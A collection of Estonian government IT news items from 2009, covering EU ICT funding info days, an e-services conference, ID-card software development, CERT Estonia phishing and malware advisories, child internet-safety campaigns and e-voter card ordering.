Infopäevad toimuvad 30.aprillil kell 13.00-17.00 Tartus, Atlantise konverentsikeskuses (Narva mnt 2) ja 5. mail kell 13.00-17.00 Tallinnas, Majandus- ja kommunikatsiooniministeeriumis (Harju 11).

CIP ICT PSP on Euroopa Liidu finantseeritava konkurentsivõime ja innovatsiooni programmi IKT alamprogramm, mis toetab järgmisi valdkondi:
1. IKT rakendused tervise-, väärika vananemise ja kaasamise teenistuses;
2. digitaalsed andmekogud;
3. IKT valitsuses ja valitsemises;
4. IKT energiatõhususe saavutamiseks ja kliimamuutuste mõju vähendamiseks;
5. mitmekeelne veeb;
6. avaliku sektori informatsioon;
7. interneti areng ja turvalisus;
8. linving labs kontseptsiooni populariseerimine ja katsetamine.

Infopäevadel räägitakse CIP ICT PSP finantseeritavatest valdkondadest 2009. aastal, finantseeritavatest teemadest ning finantseerimise instrumentidest. Samuti jagavad praktikud oma kogemusi CIP ICT PSP projektides osalemisest. Infopäeva viivad läbi Majandus- ja kommunikatsiooniministeerium koostöös CIP ICT PSP kontaktisikuga (NCP) Eestis hr. Siim Läänelaidiga.

Projektid on suunatud üksmeele saavutamisele konkreetsete IKT lahenduste ühtseks kasutuselevõtuks Euroopa Liidu riikides ning erinevate lahenduste üle-Euroopalisele rakendamisele.

Toetust saavad taotleda nii era- kui avaliku sektori asutused, taotluste esitamise tähtaeg on 2. juuni 2009.  

Infopäevast osavõtt on tasuta. Vajalik on eelregistreerimine aadressil siim.laanelaid[ät]invent.ee

Lisainfo: CIP ICT PSP programmi kohta:
http://cip-ict-programm.blogspot.com
Siim Läänelaid
siim.laanelaid[ät]invent.ee
5293523

22. aprillil toimus Nelipühi Kiriku Tallinna Koguduses konverents „Vabandused ei vabanda“, millest võttis osa avaliku sektori juhte, IT-spetsialiste, juriste kui ka arendusfirmade esindajaid.

Esimeses sessioonis tekitasid elava vestluse IT - spetsialist Allan Poola ning Julgestuspolitsei ülemkomissari Tõnis Sulu ettekanded. Koos publikuga arutleti, kui palju ning millisel tasemel peab juht tundma tehnoloogia võimalusi ning kui palju peab IT-spetsialist mõistma reaalseid ärivajadusi. Kõlama jäi mõte, et edu võti on äripoole, IT-spetsialistide ja õigusloome ekspertide meeskonnatöös. „Unistage koos – unistage paremast elust!“ oli Allan Poola üleskutse kõigile saalisviibijatele.

Päeva teine osa keskendus õigusloomega seotud teemadele. Vestlust juhtinud Tallinna Tehnikaülikooli avaliku õiguse professor Ülle Madise palus vestlusringis osalenutel tuua välja nii häid kui halbasid näiteid, kuidas seadusloome on uuendusi kas toetanud või pidurdanud. Vestlusringis osalesid on Allar Jõks (õiguskantsler aastatel 2001-2008), Liia Hänni (e-Riigi Akadeemia programmi direktor) ning Viljar Peep (Andmekaitseinspektsiooni peadirektor). Näidetena toodi nii ID-kaarti, e-valimisi, e-tervist - projekte, mis on oluliselt muutnud või muutmas meie arusaamasid ja väärtushinnanguid. Leiti, et sageli ei olegi küsimus selles, et seadust ei saaks muuta – pigem ei ole meie ühised arvamused selleks veel valmis.

Leiti, et rohkem tuleks saada asju ühiselt arutada, mitte vastanduda. „Vähem ülbust ja rohkem avatust!“, soovis osalejatele Ülle Madise.

Päeva viimases kõneldi raha ja teadmiste oskuslikust kasutamiseks. Riigi infosüsteemide ekspert Riho Oks tõi välja mitmed aspekte, millele uusi e-lahendusi tehes mõelda kindlasti tasuks. „Me ei lahenda mingi müstilise e-riigi vajadusi, vaid riigi eesmärke“, oli Oks riigimehelik. Enim diskussiooni tekitas konverentsil AS Helmes nõukogu liikme Kalju Rüütli kõne, kus ta kirjeldas erasektori kogemusi, kuidas raha efektiivselt kasutada ning soovitas seda ka avalikku sektorisse üle kanda. Ettekanne leidis ka oponeerimist, ühe võtmeküsimusena tõstatati riigihangete korraldamise temaatika tellija ning täitja vaatest. Elav diskussioon näitas, et avaliku ja erasektori partnerlus on oluline teema, mida ka edaspidi puudutada.

Päeva kokkuvõtteks võib öelda, et konverentsil olid esindatud paljud elukutsed ja arvamused, kuid ühiselt leiti, et oluline on teha senisest rohkem koostööd, teineteise lähtekohtasid ning keelt mõista. Lisaks ühe asutuse sisesele koostööle sooviti rohkem tähelepanu pöörata just asutuste vahelisele tõhusale koostööle avalikus sektoris.

Üritus toimus Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida rahastab Euroopa Liidu Regionaalarengu Fond.

Täname kõiki osalejaid ning esinejaid!

Kolmapäeval, 22. aprillil toimub Nelipühi Kiriku Tallinna koguduses uuendusmeelne konverents "Vabandused ei vabanda", kus julgustatakse koostööle avaliku sektori juhte, IT-spetsialiste ning õigusloojaid, et riik saaks inimestele paremaid teenuseid luua.

"Soovime innustada avaliku sektori juhte avatult mõtlema ajal, kus uute ideede ellu viimiseks tundub olevat rohkem takistusi kui võimalusi," selgitas konverentsi eesmärki RIA programmijuht Agne Kivisaar. „Sageli takerduvad geniaalsed ideed sellesse, et esmapilgul ei ole tehnoloogilist lahendust, sobivat õigusruumi või vajaminevat raha. Oma konverentsil anname juhtidele ideid, kuidas neist probleemidest üle saada nii, et avalikkuseni jõuaks nutikad ja kasulikud lahendused“ lisas Kivisaar.

Konverentsil on kolm peateemat - tehnoloogia võimaluste kasutamine, vajaliku seadusloome tagamine ning raha mõistlik kasutamine. Esinejaid on nii avalikust kui erasektorist.

Sessioonis „Õigusruum ei luba…?“ on vestlusringis endine õiguskantsler Allar Jõks, e-Riigi Akadeemia programmi direktor Liia Hänni ning Andmekaitse Inspektsiooni peadirektor Viljar Peep. Vestlust ohjab Ülle Madise, Tallinna Tehnikaülikooli avaliku õiguse professor.
Osas „Tehnoloogia ei võimalda…?“ räägivad tehnoloogia kasutamise erinevatest kogemusest IT-spetsialist Allan Poola ning Julgestuspolitsei ülemkomissar Tõnis Sulu.
Sessioonis „Raha niikuinii ei ole…?“ kõnelevad oskuslikust raha kasutamisest Helmes AS nõukogu liige Kalju Rüütli ning riigi infosüsteemide ekspert Riho Oks.

Päeva juhib Hannes Astok. Täpsem päevakava: www.ria.ee/paevakava

Registreerimine konverentsile on lõppenud. Konverentsi kajastada soovitatel ajakirjanikel palume helistada telefonil 56 623 823.

Konverents toimub EL struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ja seda rahastab Euroopa Liidu Regionaalarengu Fond. Programm on ellu kutsutud, et jagada infoühiskonnas hakkama saamiseks vajalikke teadmisi - tõsta olemasolevate elektrooniliste lahenduste kasutatavust, soodustada uute e-teenuste teket ning teavitada inimesi turvalisest arvutikasutamisest.

Programmi kogumaht on 50 miljonit krooni ning programmi tegevused viiakse läbi aastatel 2007-2013. Programmi viib ellu Riigi Infosüsteemide Arenduskeskus.

Soovid midagi ära teha, aga:
tehnoloogia ei võimalda…?
õigusruum ei luba…?
raha niikuinii ei ole…?

Kolmapäeval, 22. aprillil toimub Nelipühi Kiriku Tallinna Koguduses konverents, kus leiame koos vastused küsimustele:

- Kuidas avalikus sektoris e-teenuseid targalt luua ning arendada?
- Kuidas tõhustada koostööd valdkonna spetsialistide ning IT-inimeste vahel?
- Kuidas saada seadustega sõbraks?
- Kuidas kasutada olemasolevaid riigi infosüsteemi võimalusi?
- Kuidas tagada e-teenuste loomisele rahastus?

Üritus on tasuta. Ootame konverentsile eriti avaliku sektori juhte.

Registreerimine on lõppenud. Sisu ja esinejatega saab tutvuda aadressil:  www.ria.ee/paevakava

Üritus korraldatakse Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ja seda rahastab Euroopa Liidu Regionaalarengu Fond.

Kohtumiseni,
Konverentsi korraldusmeeskond
Lisainfo: help[ät]ria.ee

ID-kaardi tarkvara disainkonkursile laekus 47 tööd 30 autorilt. Žürii tunnistas parimaks digitaalmeedia agentuuri ADM loodud lahenduse.

Disainikonkursi proovitööks tuli teha kujundus ID-kaardi utiliidile, mille abil saab kasutaja oma ID kaarti hallata. Tarkvara arendaja Smartlink sõlmib võitjaga lepingu kogu ID-kaardi baastarkvara disainimiseks, lisaks on auhinnaks 10 000-kroonine rahaline preemia. Teise koha saavutas Anu Kritsmann, keda premeeritakse 5000 krooniga.

RIA valdkonnajuht Hannes Linno sõnul on konkursil osalenute panus ka edaspidi oodatud. „Konkursil pidime välja valima ühe võitja, kuid ID kaardi tarkvarale tuleb skin'ide ehk kujundusmallide lisamise võimalus, kuhu ootame ka teiste konkursil osalenute lahendusi.“.

Tarkvara arendaja OÜ Smartlink juhatuse liikme Peeter Pappeli sõnul käib hetkel ID-kaardi tarkvara viimistlemine, laiema avalikkuse testimisfaasi jõutakse mais.

Uut ID-kaardi baastarkvara on kaua oodanud just Maci ja Linuxi kasutajad. „Siiani on ID-kaardi ametlik tarkvara töötanud vaid Microsofti tarkvaraga. Juuni keskpaigaks on valmis uus tarkvara, mis lubab autentimist ja digitaalset allkirjastamist ka vähemlevinud operatsioonisüsteemide ja brauseritega“, sõnas Linno.

ID-kaardi tarkvara alfaversiooniga saab tutvuda: https://id.eesti.ee.
Võidutöö kavandit näeb siit. Kindlasti tuleb lõplikus versioonis nii värvikava muudatusi kui muid pisiparandusi.

CERT Eesti annab teada, et USA teenusepakkuja eemaldas Swedbanki õngitsuslehe võrgust täna pärastlõunal.

Kuivõrd ei ole teada, kui kaua kurjategijad andmete õngitsemise katseid jätkavad ja kus maailmaosas nad võltsitud pangalehe taasavavad, siis peaks endiselt oma elektroonilise kirjakasti sisuga tutvumisel lähtuma tervest mõistusest.

Kurjategijatel on lihtsameelsetelt raha kätte saamiseks tugev motivatsioon - kui juba mõned õnge lähevad, võib pahalaste ebaseaduslik sissetulek olla märkimisväärne.

Meeldetuletuseks:
 - pangad ei soovi iial teilt veebilehe kaudu teada saada pangakaartide pin koode;
 - inimestega suheldakse reeglina nende emakeeles;
- tasub tähelepanu pöörata veebilehe tegelikule aadressile aadressiribal.

Ründed info kättesaamiseks algasid esmaspäeval, kui inimeste postkastidesse saadeti info, mis meelitas neid sisestama krediitkaardi andmeid Swedbanki libalehele asukohaga Prantsusmaal. Esmaspäevane leht eemaldati koostöös kohalike infoturbe inimestega eile lõuna paiku.

CERT Eesti annab rõõmsalt teada, et Swedbanki kasutajatelt infot õngitseda püüdnud leht on suletud. CERT Eesti infoturbe ekspert Tarmo Randeli sõnul sai CERT info õngitsuslehest täna hommikul peale kella kaheksat. „Firefoxi musta nimekirja jõudis leht keskpäevaks. Selleks ajaks, kui inimestel oli lõuna söödud, oli ka veebileht maha võetud. Koostöös Prantsuse infoturbe inimestega rikkusime pahadel päeva kiirelt ära.“

Tegu on ereda näitega sellest, kuidas kurikaelad oma riskide vähendamiseks hajutasid oma pettus-skeemi erinevate riikide vahel. Rämpskirjad saatis laiali botnet, mis koosneb üle maailma asuvatest nakatunud arvutitest. Kui inimene lingil klikkas, suunati ta lehele, mis asus Prantsusmaal. Õngitsuslehe kujundus oli kopeeritud Leedu Swedbanki kodulehelt.

Randeli sõnul tasub inimestele uuesti südamele panna, et nad postkastist teateid lugedes lähtuksid tervest talupojamõistusest. „Pangad on korduvalt rõhutanud, et nemad enda välja antud paroole tagasi ei taha ja vastavaid ringkirju ei saada.“ Näitlikku juhtumit, mis võib õngitsejate ohvriks saanud inimesega juhtuda, saab näha siit. Samas on ka lihtsad soovitused, kuidas hoiduda viirustest ja info õngitsemise ohvriks langemisest.

Alates sellest nädalast on võimalik lehel http://lapsnetis.eesti.ee vaadata Kalev Pihli loengut, mis räägib lapsi internetis varistsevatest ohtudest ning lapsevanema võimalustest oma last võrgus liiklemisel aidata.

Loengut kuulanud Evelin Ilves tõdeb: „Enamik lapsevanemaid tunneb küll huvi, kellega ja kus nende laps oma vaba aega veedab. Kuid täna, kui internetis leiduvaist saitidest on saanud üks peamisi kohtumispaiku teismelistele, on vanemad, iseäranis Eesti lapsevanemad, oma valvsuse ja hoole minetanud.“

Koolitaja Kalev Pihli sõnul on sellised loengud vajalikud, et tõsta lapsevanemate usku ja motivatsiooni uuesti ohjad võtta: "Lapsevanemad, kes ei puutu infotehnoloogiaga väga palju kokku, võivad selle võimekust ja võimalusi üle hinnata ning alluvad seetõttu laste manipulatsioonile. Lisaks on vaja siiski lapsevanematele meenutada, et me keegi ei olnud 10-aastaselt täiskasvanud ja ei suutnud sellel tasemel otsuseid vastu võtta – millegipärast kipume oma lastest paremini arvama."

Evelin Ilvese sõnul on murettekitav, et võrreldes Euroopa Liidu keskmisega on Eesti lapsevanemad ühed kõige ükskõiksemad. „Kuid ei tohiks. Internetis varitseb sama palju ohte kui päriselus. Isegi, kui me seda otseselt ei adu, on nad seal ikkagi olemas. Parem, kui me sellega võimalikult vara arvestame, sest sealsed ohud pääsevad meie laste ligi määratult varem, kui need, mida tavaliselt pahaks oleme pidanud - narkootikumid ja alkohol. Kuidas internetis elatakse ja käitutakse, mida lapsevanem seal jälgima, kartma ja teadma peaks – sellest Kalev Pihli loeng räägibki. Muuseas, hästi elavalt ja kaasakiskuvalt. Head vaatamist!“

Era-ja riigisektori 14 asutust korraldasid veebruaris ja märtsis neli nädalat kestva teavituskampaania „Sa kaitsed oma last päriselus. Tee seda ka internetis!“. Nelja nädala jooksul näidati telekanalites üle 300 korra teleklippi, mis lapsevanematele meenutas, et internetis varitsevad ohud on sama reaalsed kui päriselus. Teavituse tarbeks lõime lehe http://lapsnetis.eesti.ee, mis jääb edaspidigi avatuks ning kuhu koonduvad lapsevanematele ja lastele olulised materjalid, kuidas muuta internet laste jaoks turvalisemaks.

Kampaaniat rahastas EL programm „Infoühiskonna teadlikkuse tõstmine“, mille raames korraldatakse teavitusi riigi infosüsteemist, riigiportaalist Eesti.ee, ID-kaardist ja paljust muust.

Riigiportaali külastatavus on kahe kuuga kasvanud kaks korda – kui eelmise aasta kahel viimasel kuul käis portaalis 121 500 inimest, siis jaanuaris-veebruaris oli kasutajaid juba üle 233 tuhande. Tagasiside näitab, et tulevikult oodatakse portaali muutumist isiklikumaks, lihtsamaks ja
päevakajalisemaks.

RIA algatas aasta esimesel kahel kuul üleriigilise teavituse ja veebiuuringu, et tuua inimesi portaaliga tutvuma ja selle arendamiseks ettepanekuid tegema. Eesti.ee peatoimetaja Rica Semjonova oli positiivselt üllatunud nähes, kui palju uusi inimesi jõudis selle aja jooksul portaali külastama.

„Uuringu kohaselt olid varem riigiportaali külastanud 52,6% vastanuist, kuid paljud – 47,4% - ei olnud sinna varem juhtunud. Inimestel on oluline teada, et tegelikult saab riigiportaalist kätte peaaegu kogu riigi või kohalike omavalitsustega seonduva. Inimene ei pea mööda internetiavarusi infot ja teenuseid otsima“, rõhutas Semjonova. Uuringust selgus, et sama arvasid ka vastajad - suur osa neist näebki riigiportaali kui ühtset tervikut, mis hõlmaks riigis hakkama saamiseks vajaliku info.

Küsitluses osales ligi 6500 inimest, 570 vastanut liitus ka portaali arendustiimiga. „Kõige enam otsitakse riigiportaalist infot või kasutatakse e-teenuseid“, selgitas peatoimetaja. Infot otsib 39% vastanutest, e-teenuste kasutamiseks tuleb portaali 21% inimesi. Ka tullakse niisama tutvuma (17,6%), õigusakte uurima (11,5%) või riigiasutuste kontaktandmeid otsima (9,9%). Vene keelt kõnelevate inimeste puhul võis täheldada, et info otsijate (70,1%), e-teenuste kasutajate (57,8%), õigusaktide otsijate (37,3%) ja kontaktandmete otsijate (31,6%) osakaal on eestlastega võrreldes oluliselt suurem. Lihtsalt tutvujate arv (4,5%) aga oluliselt väiksem. Portaali külastamist pidas kasulikuks ligi 96% vastanutest.

Kõige enam kommenteeriti portaali kasutusmugavust ja kujundust, aktiivsed oldi e-teenuste kohta tagasiside andmisel ja ettepanekuid tehti ka portaali sisu paremaks muutmisel. Kuigi riigiportaali eesti.ee nähakse eelkõige abimehena riigiga suhtlemisel, sooviti ka, et ta koondaks rohkem kohalike omavalitsuste infot ja osa erasektori teenustest.

Sisu osas soovitati näiteks, et portaal vahendaks päevakajalist infot (nt koondamised, toetused, lumekoristus, jne), tooks välja sammhaaval juhendid riigiga asjaajamiseks, täiendaks kodanikualgatuste infot, kajastaks avaliku sektori tööpakkumisi või võimaldaks personaalsemat kasutamist „minu teenused“ vmt näol.

Eesti.ee teavituskampaaniat rahastas SF programm „Infoühiskonna teadlikkuse tõstmine“.

RIA kuulutab välja disainikonkursi ID-kaardi utiliidile nägusaima välimuse leidmiseks. Disainikonkursi võitjaga sõlmib tarkvara arendaja Smartlink lepingu kogu ID-kaardi baastarkvara disainimiseks, lisaks meelitavad osalema kaks rahalist auhinda – võitja saab 10 000 krooni, teise koha saavutanu 5000 krooni.

ID-kaardi utiliit on tarkvara, mille abil saab kasutaja enda ID-kaarti hallata. Konkursiga otsib RIA haldusvahendi disaini, abimaterjalidena annme kaasa programmi loogika ja tekstid. Disaineritelt ootame seda osa, milles nemad parimad on – ilusa ja tervikliku väljanägemisega kasutajaliidest.

Mängureeglid konkursil osalemiseks:

1.Kasutada tuleb sellist teksti ja andmeväljasid, nagu kaasa pandud pildil näha on.
2.Tuleb arvestada, et sama disainiga lahendust hakkavad kasutama nii Windowsi, Maci, kui Linuxi operatsioonisüsteemide kasutajad.
3.Sõnastust võib muuta vaid tõsise vajaduse korral, see peab olema eraldi lisas põhjendatud.
4.Disain peab olema dokumenteeritud ja valikud põhjendatud.
5.Disainiga palume kaasata dokument, kus on kirjeldatud fontide kasutus, värvikoodid, objektide suurused ja mõõdud.
6.Konkursi lõpptähtaeg on 20.märts kell 16.00. Konkursi tööd palume saata digiallkirjastatuna aadressile merje.kaasan[ät]ria.ee.

Suve hakul saab valmis ID-kaardi uuendatud tarkvara, mis lisaks Microsofti maailmale on seekord mõeldud ka vähem levinud operatsioonisüsteemidele ja brauseritele. Veel tuleb juurde võimalus, millega saab lihtsamini sertifikaate uuendada, tekivad sõbralikumad tarkvara paigaldamise ja uuendamise abimehed ning juhendid.

ID-kaardi tarkvara alfaversiooniga saab tutvuda siin: https://id.eesti.ee. (Hoiatav tekst on küll värvikas, aga puhta huumorina ei tasu seda võtta. Tegu on alfaversiooniga, mis võib arvuti katki teha küll).

Kasutusjuhtude kirjeldus. See dokument on taustainfoks. Disainida palume ainult esilehe, mitte kõiki kasutusjuhte.
Tööriista prototüübi esitlus HTML-is.

Viimasel ajal avalikkuse ette imbunud Microsofti ja Adobe möödalasud on haavatavaks muutnud suure hulga arvuteid.

Adobe sai ämbrid kohe mõlema jala otsa – lühikese vahega leiti vead nii PDF lugejas kui Flashi mängijas. Tõstku käsi, kes viimase tunni jooksul pole tahtlikult või tahtmatult Flash animatsiooni või PDF dokumenti vaadatanud! Kõigile on selge, et reaalselt pahategudeks kasutatavate vigade avastamine nii laialt levinud rakendustes paneb administraatorid ja turvajuhid nõutult pead raputama. Keelata Flash? Keelata PDF? Jah, võimalik, ent tegelikkuses mitte väga reaalne. Kui asutused suudaksidki selle sisemiste meetmetega peale sundida, siis kodukasutajale ei ole kuidagi võimalik selgeks teha, et ta peaks loobuma Youtube videote vaatamisest. Rääkimata sellest, et erinevad kampaaniad, mille algatajaks CERT Eesti ise on olnud, kasutavad tänu tema laiale levikule justnimelt sedasama Flashi. Õnneks on tublid Adobe arendajad sedapuhku kärmelt tegutsenud ja avaldanud vigastele toodetele uuendused. Head inimesed, palun uuendage Flashi mängija oma arvutis NÜÜD KOHE, kui te seda juba teinud pole.

PDFiga on lood natuke halvemad – siiani on avaldatud ainult kolmanda osapoole (mitte Adobe) mitteametlik parandus, mida ei saa kahjuks laiemale publikule soovitada. Ainus võimalus on kasutada arvutit mõistusega – kui pakutakse avamiseks tundmatut PDFi, siis ära seda ava. Täpselt nii, nagu õpetame oma lapsi – võõralt onult ei tohi kommi võtta!

Suurt kära põhjustanud pahavara hellitusnimega Conficker hakkas levima eelmise aasta lõpus kasutades selleks Windowsi turvaviga, mis võimaldas pahalasel levida ussina s.o. ilma kasutajapoolse abita. Auk lapiti oktoobrikuus, ent selgus kurb tõsiasi, et kasutajad ja firmad ei uuenda enda Windowseid! Pahavara eripära on muuhulgas proovida ära arvata kasutajate paroole, mis teatud juhtudel viib kontode lukustumiseni. See omakorda põhjustas mõnede suurte organisatsioonide töö täieliku seiskumise seniks, kuni kõik arvutid käsitsi üle kontrolliti. Arvestades tuhandetesse küündiva töökohtade arvu suuremates Euroopa asutustes, võib igaüks oletada, kui palju aega ja raha võis kuluda arvutivõrgu töökorda saamisele. Pahalane Conficker on IT turvafirma F-Secure veebruari andmetel nakatatud üle 9 miljoni arvuti ja see number on väga suur!

Operatsioonisüsteemi mittepaikamisele võib aeg-ajalt leida ka päris pädevaid seletusi – näiteks lakkab peale uuendust toimimast mõni eluliselt vajalik programm. Kuidas siis arvutit kaitsta? Lisaks uuendustele aitavad siin ka muud turvameetmed, näiteks korralikult seadistatud tulemüür, segmenteeritud võrk ja muu säärane. Julgetele ja edumeelsetele võib soovitada proovimiseks F-Secure loodud toodet Exploit Shield (http://www.f-secure.com/labs/products/12/). Seal kasutatud tehnoloogia peaks kaitsma justnimelt selliste rünnete vastu, millele rakenduse või operatsioonisüsteemi tootjal veel kaitset pole, või kui sul puudub mingil põhjusel võimalus vea paikamiseks tavapärase uuendusega. Peab mainima, et toode on beetaversioonis ja tegemist ei ole reklaamiga – lihtsalt keegi teine ei ole samalaadse toimiva lahendusega veel minuteada välja tulnud.

Ajaloolistest sündmustest on mainimist väärt jaanuaris Voorel toimunud CERT Eesti 2008. aastat kokkuvõtnud konverents. Osavõtjaid oli päris palju – tundub, et ürituste viimine Tallinnast välja oli hea mõte. Kokkusaamisel räägiti muudatustest .ee domeenide halduses, öeldi välja 2008 aasta arvutivõrkude „pahaduse“ numbrid, räägiti WiFist ja anti hoogu juurde küberkaitseliidule. Järgmine CERTi üritus laiemalt ringile on plaanis traditsiooniliselt septembris. Suve jooksul võib soodsate asjaolude kokkulangemisel toimuda paar koolitust kitsamale spetsialistide ringkonnale, aga sellest anname teada sobilikke kanaleid pidi.

Äsja olnud turvalise interneti päeval (9. veebruar) lükati suurema hulga osavõtjate koostööna käima kampaania lapsevanematele, mille materjalid leiab aadressilt http://lapsnetis.eesti.ee/. Nimetet aadressile peaks kohe-kohe ilmuma ka link videosse võetud Kalev Pihli suurepärasele loengule.

Turvalist peagisaabuvat kevadet soovides,

CERT-EE
 

Riigiportaalis www.eesti.ee saab taas tellida e-valijakaarti. Tellimus jääb kehtima ka kõikideks järgmisteks valimisteks.

“Sel aastal toimuvad Eestis kahed valimised. Juunis valitakse uued esindajad Euroopa Parlamenti ning oktoobris kohalike omavalitsuste volikogudesse. Paberkaardist loobumine elektroonilise teate kasuks võimaldab säästa nii raha kui loodust. Samas on e-valijakaardi tellimine riigiportaalist lihtne toiming, milleks kulub vaid mõni hetk,” ütles regionaalminister Siim Kiisler.

E-valijakaarti oli esmakordselt võimalik tellida 2007. aasta Riigikogu valimisteks ning siis tellis selle väga lühikese aja jooksul enam kui seitse tuhat inimest. Kuna tookord oli tegemist pilootprojektiga, palub siseministeerium ka nendel inimestel teenuse valik uuesti kinnitada.

Siseministeerium koostab selle aasta 7. juunil toimuvate Euroopa Parlamendi valimiste valijate nimekirjad 8. mai seisuga ning alustab valijakaartide saatmist 12. maist. Nendele, kes on tellinud e-valijakaardi, paberil kaarti ei saadeta.

E-valijakaardi saamiseks tuleb siseneda riigiportaali ning suunata riiklik e-post (…@eesti.ee) isiklikule, tavapäraselt kasutatavale e-posti aadressile.Need inimesed, kellel on aadressi suunamine juba seadistatud, saavad riigiportaalis elektroonilise valijakaardi valiku vastava märkega kinnitada.

„Euroopa Parlamendi hääleõiguslikke valijaid on rahvastikuregistri andmetel üle 900 tuhande. Neist enam kui 1600 valijat on juba praeguseks otsustanud e-valijakaardi kasuks ning loodame, et see arv kasvab jõudsalt iga päevaga,“ ütles siseministeeriumi rahvastiku toimingute osakonna juhataja Enel Pungas.

Valijakaart annab teavet selle kohta, kus, kuidas ja millal on võimalik hääletada. E-valijakaart täidab sama ülesannet, mis paberkaart.Seda ei pea välja printima ega valimisjaoskonnas hääletamiseks kaasa võtma. Samuti ei eelda e-valijakaart elektroonilist hääletamist.

„Kas hääletatakse internetis või jaoskonda kohale minnes, jääb iga valija enda otsustada. Valijakaart annab inimesele nendest võimalustest teada. Samas saab valijakaardi saata vaid neile, kelle elukoha andmed on rahvastikuregistris täpsed,” selgitas Enel Pungas.

Pungas rõhutas, et enne valimisi tuleks riigiportaalis oma elukoha andmed kindlasti üle vaadata ja veenduda, et need on õiged.

Valijale määratakse valimisjaoskond nende elukoha andmete alusel, mis on rahvastikuregistris 30 päeva enne valimisi. Juhul kui rahvastikuregistris kajastuvad elukoha andmed ei vasta tegelikule elukohale, tuleb andmete muutmiseks esitada uus elukohateade. Seda saab samuti kiiresti ja mugavalt riigiportaalis teha.

Lisainfo:
Anne-Maarja Olei
Siseministeerium
Pressinõunik
6125032
53329079

Eilsest saab e-maksuametis esitada eelmise aasta tulude deklaratsioone, kus on tänavu oluline muudatus  - kodulaenu võtnud inimestel tuleb sisestada oma kinnistu number. Kinnistu numbrit saavad kodulaenu võtnud inimesed vaadata riigiportaalist www.eesti.ee.

Liikvele on läinud info, et kinnistu numbrit peaks otsima registrite ja infosüsteemide keskuse leheküljelt, kuid kiirem ja mugavam on vaadata oma  kinnistu andmeid www.eesti.ee lehe kaudu.

Riigi Infosüsteemide Arenduskeskuse kommunikatsioonijuht Katrin Pärgmäe sõnul leiavad kõik kodulaenu võtjad tasuta kinnistusandmete info riigiportaalist www.eesti.ee. "Kui portaali sisse logida, ja valida lipik "Kodanikule", on esilehe allservas loetelu X-tee teenused. Selle esimese tulba keskelt leiab
Kinnistusregistri andmekogu, mis näitab kõiki selle inimesega seotud kinnistuid".

„E-kinnistusraamatust saab vaadata, kes on mõne kinnistu omanik või kas sellega on seotud hüpoteeke, eriõigusi või piiranguid,"  selgitas RIK-i kohturegistrite osakonna juhataja Ingmar Vali. " E-kinnistusraamatu eesmärk on anda inimestele võimalus tutvuda võõraste kinnistute andmetega, mis on
oluline näiteks oma kodu soetamisel", lisas Vali. E-kinnistusraamatu leiab aadressilt http://kinnistusraamat.rik.ee.

Samuti on kasutajatel oluline meelde jätta, et nad enne uues aknas veebilehe avamist e-maksuametis oma seisu salvestaksid. "Kui teisel lehel peaks kauem minema ja sessioon 15 minuti pärast aegub, on kasutaja andmed uuel sisse logimisel alles", meenutab Maksu-ja Tolliameti meediasuhete spetsialist
Annely Erm.
 

RIA on ID-kaardi ja digitaalallkirja baastarkvara arendamisel jõudnud etapini, kus teadlikumatel arvutikasutajatel on võimalus oma sõna sekka öelda ning testida, mida seni tehtud on.

Täna on olemas ID-kaardi draiverite testversioonid Linuxile, Macile ja Windowsile, välja arvatud Vista. Nende lähtekood on alla laetav aadressilt https://id.eesti.ee. Samas keskkonnas on olemas ka bug tracker, mille kaudu saab arendajat teavitada leitud probleemidest. 

Lisaks draiveritele on olemas ka ID-kaardi utiliit, mis toob Linuxi kasutajatele võimaluse graafiliste komponentide kaudu oma PIN koode muuta ning "kaarti hallata". ID-kaardi utiliidi kasutajaliides on ümber tegemisel, seal esinevaid vigu ei ole täna mõtet arendajale edastada.

Järgmistel nädalatel lisandub ka uuema välimusega utiliit, kaugel ei ole ka teiste komponentide (digidoc, veebis allkirjastamine, jne) valmimine. Suuremate muudatuse puhul saadame eraldi teated välja, väiksematel muudatustel saavad kasutajad ise arenduskeskonnas https://id.eesti.ee silma peal hoida.

Tegemist on vaid teadjamale arvutikasutajale suunatud materjalidega, mille stabiilsusele ning töövõimele garantiid anda ei saa.

10. veebruaril tähistatakse turvalise interneti päeva. Sel aastal pühendatakse Eestis see tähtpäev lapsevanemate teadlikkuse tõstmisele lapsi varitsevatest ohtudest internetis. Pressikonverents, kus tutvustatakse üritusi, mis turvalise interneti päeva tähistamiseks aset leiavad, toimub esmaspäeval, 9. veebruaril kell 13.00 Sotsiaalministeeriumis viienda korruse saalis (Gonsiori 29).

Pressikonverentsi avab proua Evelin Ilves. Pressikonverentsil räägib koolitaja Kalev Pihl laste käitumisest internetis, sealhulgas võimalikest ohtudest ja turvariskidest ning vanemate võimalustest oma lapsi küberruumis kaitsta. Riigi Infosüsteemide Arenduskeskuse (RIA) kommunikatsioonijuht Katrin Pärgmäe võtab lõpetuseks kokku, mis üritused turvalise interneti päeva puhul toimuvad.

Turvalise interneti päeva raames korraldas Tiigrihüppe SA konkursi "Lõksud internetis", kus lapsed pidid kirjeldama ohtu internetis ning lahendust, kuidas sellega toime tulla. Microsoft Eesti korraldab teisipäeval avaliku loengu lapsevanematele, mille eesmärk on anda teadmisi ja praktilisi juhiseid, kuidas oma last interneti ohtude eest kaitsta. RIA alustab ELi programmi "Infoühiskonna teadlikkuse tõstmine" raames teavituskampaaniat „Sa kaitseksid oma last päris elus. Tee seda ka internetis!", mis kutsub lapsevanemaid huvi tundma oma lapse kübertegevuste vastu.

Päeva tähistamine on osa Euroopa Liidu interneti turvalisuse programmist, mille eesmärk on interneti ja uute kommunikatsioonitehnoloogiate turvalise kasutamise suurendamine ning seda iseäranis laste seas. Eestis valmistab turvalise interneti päeva tähistamist ja ka Euroopa Liidu programmiga liitumist ette koostöögrupp, milles osalevad erinevad ministeeriumid, mittetulundusühendused ja erasektor. Grupi tegevust koordineerib hetkel Sotsiaalministeerium.

RIA teavituskampaania „Eesti.ee - Uks e-riiki“ ajal on riigiportaali kohta tagasisidet andnud 2689 inimest. Portaali arengus edaspidi kaasa rääkimise võimalust pakkuva Eesti.ee arendustiimiga on liitunud pea 200 portaali kasutajat.

